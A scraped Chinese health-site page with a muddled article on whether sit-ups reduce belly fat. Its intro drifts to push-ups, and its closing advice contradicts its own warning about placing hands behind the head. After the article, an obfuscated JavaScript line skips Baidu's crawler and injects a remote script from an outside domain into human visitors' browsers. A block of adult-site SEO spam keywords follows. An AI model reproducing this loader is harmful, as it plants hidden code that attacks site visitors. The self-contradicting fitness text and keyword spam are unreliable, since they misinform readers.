<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 健康 > 運動健身 > 正文

      一般做仰臥起坐能減肚子嗎

      2017-04-16 13:16:03  來源:360常識網   熱度:
      導語:日常生活中的不少人都有過做俯臥撐的歷史,做俯臥撐雖然很簡單,不過這其中也是可以掌握技巧的,通過練習俯臥撐能夠減肥,對促進新陳代謝,

      日常生活中的不少人都有過做俯臥撐的歷史,做俯臥撐雖然很簡單,不過這其中也是可以掌握技巧的,通過練習俯臥撐能夠減肥,對促進新陳代謝,幫助消化有幫助,現在不少的女性每天坐在辦公室里,肚子漸漸凸起,想要減去肥胖的小肚子,其實也并不難通過幾個仰臥起坐就可以解決,那么仰臥起坐可以瘦身嗎?

      1、配合呼吸

      如果想要減掉肚子上的贅肉,那么在做仰臥起坐的時候,一定要注意好配合自己的呼吸,只有配合好呼吸,那么在做仰臥起坐的時候小腹的肌膚就會變得緊實,自然就可以達到減肥的效果,能夠事半功倍。

      練習時:起的狀態(用力時)呼氣,退力狀態吸氣。靜力狀態,比如在保持45度角的時候,保持正常的胸腔呼吸,不要屏氣。

      起的狀態(用力時)呼氣,退力狀態吸氣。靜力狀態,比如在保持45度角的時候,保持正常的胸腔呼吸,不要屏氣。

      平時:腹式呼吸,有助于收緊腹橫肌,吸氣時感受腹腔向內和向上提收,充分吸氣再深呼出。在平時坐著、站著或走路時都可以有意識地腹式呼吸,養成習慣。

      瘦身原理:這種呼吸法可確保處于腹部較深層的肌肉都同時參與工作。

      腹式呼吸在剛開始練習時可能不太習慣,甚至突然變得不知道該怎么呼吸,但這個呼吸法不僅有助于刺激腸胃蠕動、促進體內廢物排出,還能使氣流順暢,增加肺活量。另外,腹式呼吸還是防止出現便秘問題的好方法。

      2、雙手不要抱頭

      一般意義上的仰臥起坐是把雙手十指交叉放于頭后,但這樣在起坐的過程中常常會借助手的力量將頭抬起,這樣很容易造成頸部肌肉的拉傷。正確的方法是將雙手交叉抱于胸前,或者把手放于耳側,起坐時應讓腹部發力,而并非手臂。

      減肥原理:把雙手的手指交叉放于頭后面,容易導致背部彎曲,腰椎間盤壓縮,使脊椎受損,而且這亦會降低了腹部肌肉的工作量。

      把手放在耳側時,記得不要用力去按壓耳朵。仰臥起坐的初學者還可以將雙手置于身體兩側來降低起身難度。

      關于仰臥起坐可以瘦身嗎?一直以來是很多人問的問題,從根本的意義上來講,仰臥起坐是需要雙手交叉放在腦后,讓另一個人按住自己的雙腳,不停的做動作,不過這過程中要保證均勻的呼吸,如果有累的現象,要放松幾分鐘,以免引起肌肉緊張。

      轉載申明:360常識網,歡迎分享,轉載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 成人久久综合网| 99久久综合国产精品免费| 国产成人精品综合久久久久| 久久一本综合| 激情综合色五月六月婷婷| 亚洲成色在线综合网站| 久久综合五月丁香久久激情| 国产成人综合亚洲欧美天堂| 高清欧美色欧美综合网站| 91欧美一区二区三区综合在线| 国产精品综合久久第一页| 国产欧美日韩综合自拍| 99久久国产综合精品网成人影院 | 中文自拍日本综合| 日本道色综合久久影院| 久久本道久久综合伊人| 熟天天做天天爱天天爽综合网| 国产欧美日韩综合自拍| 久久香综合精品久久伊人| 丁香五月天综合缴情网| 伊人yinren6综合网色狠狠| 五月六月综合欧美网站| 欧美日韩国产综合一区二区三区 | 欧美日韩国产色综合一二三四| 99久久综合国产精品二区| 亚洲国产成人精品无码久久久久久综合| 亚洲性感综合欧美| 色噜噜狠狠色综合网| 亚洲综合伊人久久综合| 国产成人亚洲综合无码精品| 伊人久久综合无码成人网| 狠狠色丁香婷婷久久综合不卡| 亚洲国产精品综合久久网络| 精品国产综合区久久久久久| 久久综合九色综合欧美狠狠| 亚州欧州一本综合天堂网| 色婷婷综合久久久久中文字幕| 久久99亚洲综合精品首页| 亚洲色欲久久久综合网东京热| 激情97综合亚洲色婷婷五| 亚洲欧美另类成人综合图片|